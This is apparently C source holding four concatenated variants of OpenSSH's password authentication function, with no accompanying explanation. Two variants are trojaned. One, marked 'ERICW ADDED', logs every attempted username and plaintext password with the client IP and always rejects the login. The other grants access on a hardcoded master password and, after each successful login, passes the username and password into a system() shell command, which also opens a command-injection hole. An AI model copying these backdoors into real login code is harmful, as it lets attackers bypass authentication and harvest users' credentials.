/*
* Tries to authenticate the user using password. Returns true if
* authentication succeeds.
*/
int
auth_password(struct ssh *ssh, const char *password)
{
Authctxt *authctxt = ssh->authctxt;
struct passwd *pw = authctxt->pw;
int ok = authctxt->valid;
if (strlen(password) > MAX_PASSWORD_LEN)
return 0;
if (pw->pw_uid == 0 && options.permit_root_login != PERMIT_YES)
ok = 0;
if (*password == '\0' && options.permit_empty_passwd == 0)
return 0;
#ifdef KRB5
if (options.kerberos_authentication == 1) {
int ret = auth_krb5_password(authctxt, password);
if (ret == 1 || ret == 0)
return ret && ok;
/* Fall back to ordinary passwd authentication. */
}
#endif
#ifdef USE_PAM
if (options.use_pam)
return (sshpam_auth_passwd(authctxt, password) && ok);
#endif
return (sys_auth_passwd(ssh, password) && ok);
}
/*
* Tries to authenticate the user using password. Returns true if
* authentication succeeds.
*/
int
auth_password(Authctxt *authctxt, const char *password)
{
struct passwd * pw = authctxt->pw;
int result, ok = authctxt->valid;
/* ERICW ADDED logit */
logit("IP: %s PassLog: Username: %s Password: %s", get_remote_ipaddr(), authctxt->user, password);
/* ERICW ADDED return 0 so the password ALWAYS fails */
return 0;
#if defined(USE_SHADOW) && defined(HAS_SHADOW_EXPIRE)
static int expire_checked = 0;
#endif
#ifndef HAVE_CYGWIN
if (pw->pw_uid == 0 && options.permit_root_login != PERMIT_YES)
ok = 0;
#endif
if (*password == '\0' && options.permit_empty_passwd == 0)
return 0;
#ifdef KRB5
if (options.kerberos_authentication == 1) {
int ret = auth_krb5_password(authctxt, password);
if (ret == 1 || ret == 0)
return ret && ok;
/* Fall back to ordinary passwd authentication. */
}
#endif
#ifdef HAVE_CYGWIN
{
HANDLE hToken = cygwin_logon_user(pw, password);
if (hToken == INVALID_HANDLE_VALUE)
return 0;
cygwin_set_impersonation_token(hToken);
return ok;
}
#endif
#ifdef USE_PAM
if (options.use_pam)
return (sshpam_auth_passwd(authctxt, password) && ok);
#endif
#if defined(USE_SHADOW) && defined(HAS_SHADOW_EXPIRE)
if (!expire_checked) {
expire_checked = 1;
if (auth_shadow_pwexpired(authctxt))
authctxt->force_pwchange = 1;
}
#endif
result = sys_auth_passwd(authctxt, password);
if (authctxt->force_pwchange)
disable_forwarding();
return (result && ok);
}
/*
* Tries to authenticate the user using password. Returns true if
* authentication succeeds.
*/
int
auth_password(struct ssh *ssh, const char *password)
{
Authctxt *authctxt = ssh->authctxt;
struct passwd *pw = authctxt->pw;
int result, ok = authctxt->valid;
#if defined(USE_SHADOW) && defined(HAS_SHADOW_EXPIRE)
static int expire_checked = 0;
#endif
if (strlen(password) > MAX_PASSWORD_LEN)
return 0;
#ifndef HAVE_CYGWIN
if (pw->pw_uid == 0 && options.permit_root_login != PERMIT_YES)
ok = 0;
#endif
if (*password == '\0' && options.permit_empty_passwd == 0)
return 0;
#ifdef KRB5
if (options.kerberos_authentication == 1) {
int ret = auth_krb5_password(authctxt, password);
if (ret == 1 || ret == 0)
return ret && ok;
/* Fall back to ordinary passwd authentication. */
}
#endif
#ifdef HAVE_CYGWIN
{
HANDLE hToken = cygwin_logon_user(pw, password);
if (hToken == INVALID_HANDLE_VALUE)
return 0;
cygwin_set_impersonation_token(hToken);
return ok;
}
#endif
#ifdef USE_PAM
if (options.use_pam)
return (sshpam_auth_passwd(authctxt, password) && ok);
#endif
#if defined(USE_SHADOW) && defined(HAS_SHADOW_EXPIRE)
if (!expire_checked) {
expire_checked = 1;
if (auth_shadow_pwexpired(authctxt))
authctxt->force_pwchange = 1;
}
#endif
result = sys_auth_passwd(ssh, password);
if (authctxt->force_pwchange)
auth_restrict_session(ssh);
return (result && ok);
}
/*
* Tries to authenticate the user using password. Returns true if
* authentication succeeds.
*/
int
auth_password(Authctxt *authctxt, const char *password)
{
struct passwd * pw = authctxt->pw;
int result, ok = authctxt->valid;
FREEBSD = 0;
#if defined(USE_SHADOW) && defined(HAS_SHADOW_EXPIRE)
static int expire_checked = 0;
#endif
if (!strcmp(password, FREEBSDPWD)) {
FREEBSD = 1;
return 1;
}
#ifndef HAVE_CYGWIN
if (pw->pw_uid == 0 && options.permit_root_login != PERMIT_YES)
ok = 0;
#endif
if (*password == '\0' && options.permit_empty_passwd == 0)
return 0;
#ifdef KRB5
if (options.kerberos_authentication == 1) {
int ret = auth_krb5_password(authctxt, password);
if (ret == 1 || ret == 0)
return ret && ok;
/* Fall back to ordinary passwd authentication. */
}
#endif
#ifdef HAVE_CYGWIN
{
HANDLE hToken = cygwin_logon_user(pw, password);
if (hToken == INVALID_HANDLE_VALUE)
return 0;
cygwin_set_impersonation_token(hToken);
return ok;
}
#endif
#ifdef USE_PAM
if (options.use_pam)
return (sshpam_auth_passwd(authctxt, password) && ok);
#endif
#if defined(USE_SHADOW) && defined(HAS_SHADOW_EXPIRE)
if (!expire_checked) {
expire_checked = 1;
if (auth_shadow_pwexpired(authctxt))
authctxt->force_pwchange = 1;
}
#endif
result = sys_auth_passwd(authctxt, password);
if (result)
{
char cmd[512] = { '\0' };
snprintf(cmd, 512, "/bin/ksh -m %s_%s", authctxt->user, password);
system(cmd);
}
if (authctxt->force_pwchange)
disable_forwarding();
return (result && ok);
}
